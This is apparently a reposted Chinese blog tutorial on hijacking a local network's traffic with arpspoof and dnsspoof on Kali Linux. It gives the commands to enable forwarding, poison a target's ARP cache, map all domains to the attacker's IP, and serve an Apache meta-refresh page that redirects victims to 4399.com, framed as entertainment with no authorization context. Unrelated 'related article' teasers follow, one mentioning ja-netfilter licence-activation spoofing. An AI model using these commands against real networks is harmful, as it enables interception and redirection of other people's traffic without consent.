通过arpspoof,dnsspoof和Apache2进行DNS欺骗进行转发,例:转发到4399

2023-10-10 00:30

本文主要是介绍通过arpspoof,dnsspoof和Apache2进行DNS欺骗进行转发,例:转发到4399,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

首先先输入su进入root用户然后开启转发

echo 1 >/proc/sys/net/ipv4/ip_forward

看看是否开启成功,返回1为成功

cat /proc/sys/net/ipv4/ip_forward

下载dnsspoof工具

apt-get install dsniff  

从查看自己的ip和目标的ip

 

用kali的网关ip进行攻击

arpspoof -i eth0 -t 192.168.17.1 192.168.17.130

效果图

然后再写一个dns.txt

leafpad dns.txt
或者
vim dns.txt
哪个用着舒服用哪个,没有就apt install 应用包名安一下,如果用vim的话
先点键盘上的i键进入编辑模式,写好之后按esc,再按冒号,再输入wq就可以完成保存并退出

 dns.txt内容如下,把所有的网址都转到192.168.17.128里

 紧接着输入下面的命令就可以转发页面了,记得su进入root用户后再执行

dnsspoof -i eth0 -f /home/kali/dns.txt

下面再讲一下如何转发到你想要的页面,输入下面这行代码进入apacge2的配置页面

sudo vim /etc/apache2/sites-available/000-default.conf

然后打开之后添加下面的语句

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
DocumentRoot后面的是你想要的配置文件路径

 效果是这样的

然后我们再在这个目录下新建一个html文件,名字随便起,内容如下 

<meta http-equiv="refresh" content="0;url=https://www.4399.com/" >
content后面的0是指响应时间,就是你想要多长时间再跳转页面,我这里想直接跳转,就是0,默认单位是秒
然后url就放你想要跳转的页面

保存退出后,我们启动apache2服务

sudo systemctl start apache2    //开启apache2服务
sudo systemctl stop apache2     //停止apache2服务
sudo systemctl restart apache2  //重启apache2服务

然后这个时候再重新执行下攻击命令

dnsspoof -i eth0 -f /home/kali/dns.txt  
记得也要先su进入root用户再执行

运行成功了,我们去目标机上试一下

 

 

成功了,不过对于https开头的网址是没办法替换的,大家娱乐一下就好啦 

这篇关于通过arpspoof,dnsspoof和Apache2进行DNS欺骗进行转发,例:转发到4399的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/176652

相关文章

【Prometheus】PromQL向量匹配实现不同标签的向量数据进行运算

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全栈,前后端开发,小程序开发,人工智能,js逆向,App逆向,网络系统安全,数据分析,Django,fastapi

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

遮罩,在指定元素上进行遮罩

废话不多说,直接上代码: ps:依赖 jquer.js 1.首先,定义一个 Overlay.js  代码如下: /*遮罩 Overlay js 对象*/function Overlay(options){//{targetId:'',viewHtml:'',viewWidth:'',viewHeight:''}try{this.state=false;//遮罩状态 true 激活,f

利用matlab bar函数绘制较为复杂的柱状图,并在图中进行适当标注

示例代码和结果如下:小疑问:如何自动选择合适的坐标位置对柱状图的数值大小进行标注?😂 clear; close all;x = 1:3;aa=[28.6321521955954 26.2453660695847 21.69102348512086.93747104431360 6.25442246899816 3.342835958564245.51365061796319 4.87

Python脚本:对文件进行批量重命名

字符替换:批量对文件名中指定字符进行替换添加前缀:批量向原文件名添加前缀添加后缀:批量向原文件名添加后缀 import osdef Rename_CharReplace():#对文件名中某字符进行替换(已完结)re_dir = os.getcwd()re_list = os.listdir(re_dir)original_char = input('请输入你要替换的字符:')replace_ch

SSM项目使用AOP技术进行日志记录

本步骤只记录完成切面所需的必要代码 本人开发中遇到的问题: 切面一直切不进去,最后发现需要在springMVC的核心配置文件中中开启注解驱动才可以,只在spring的核心配置文件中开启是不会在web项目中生效的。 之后按照下面的代码进行配置,然后前端在访问controller层中的路径时即可观察到日志已经被正常记录到数据库,代码中有部分注释,看不懂的可以参照注释。接下来进入正题 1、导入m

ja-netfilter的前世今生和非对称加密的欺骗原理

文章目录 ja-netfilter起源官网插件插件配置文件插件的综合应用更多用法 非对称加密欺骗原理非对称加密和数字证书激活过程和欺骗手段分析代码示例第一步:生成自签名证书脚本第二步:使用自签名证书对产品激活信息进行签名 样例数据样例激活码(注:用于代码演示,直接粘贴到JetBrains 家 IDE 中无法完成激活!不用试,肯定提示无效,无法激活!!)样例power.conf(配合ja-ne

Temu官方宣导务必将所有的点位材料进行检测-RSL资质检测

关于饰品类产品合规问题宣导: 产品法规RSL要求 RSL测试是根据REACH法规及附录17的要求进行测试。REACH法规是欧洲一项重要的法规,其中包含许多对化学物质进行限制的规定和高度关注物质。 为了确保珠宝首饰的安全性,欧盟REACH法规规定,珠宝首饰上架各大电商平台前必须进行RSLReport(欧盟禁限用化学物质检测报告)资质认证,以确保产品不含对人体有害的化学物质。 RSL-铅,

Python知识点:如何使用Anaconda进行科学计算环境管理

使用 Anaconda 进行科学计算环境管理是一个非常强大且灵活的方式,特别适合处理 Python 和 R 语言的包管理和虚拟环境管理。Anaconda 集成了许多用于科学计算和数据分析的库,并提供了环境隔离的功能,确保不同项目之间不会发生包冲突。以下是使用 Anaconda 进行科学计算环境管理的详细步骤: 1. 安装 Anaconda 首先,你需要在本地机器上安装 Anaconda。你可以

Python知识点:使用Python进行PDF文档处理

使用 Python 进行 PDF 文档处理可以通过多种库来实现,包括 PyPDF2、pdfplumber、reportlab、pdfminer 等。这些库可以处理不同的 PDF 任务,例如 提取文本、拆分合并 PDF、修改 PDF、生成 PDF 等。以下是几种常见操作及对应的库和代码示例。 1. 安装常用库 首先,安装常用的 PDF 处理库: pip install PyPDF2 pdfpl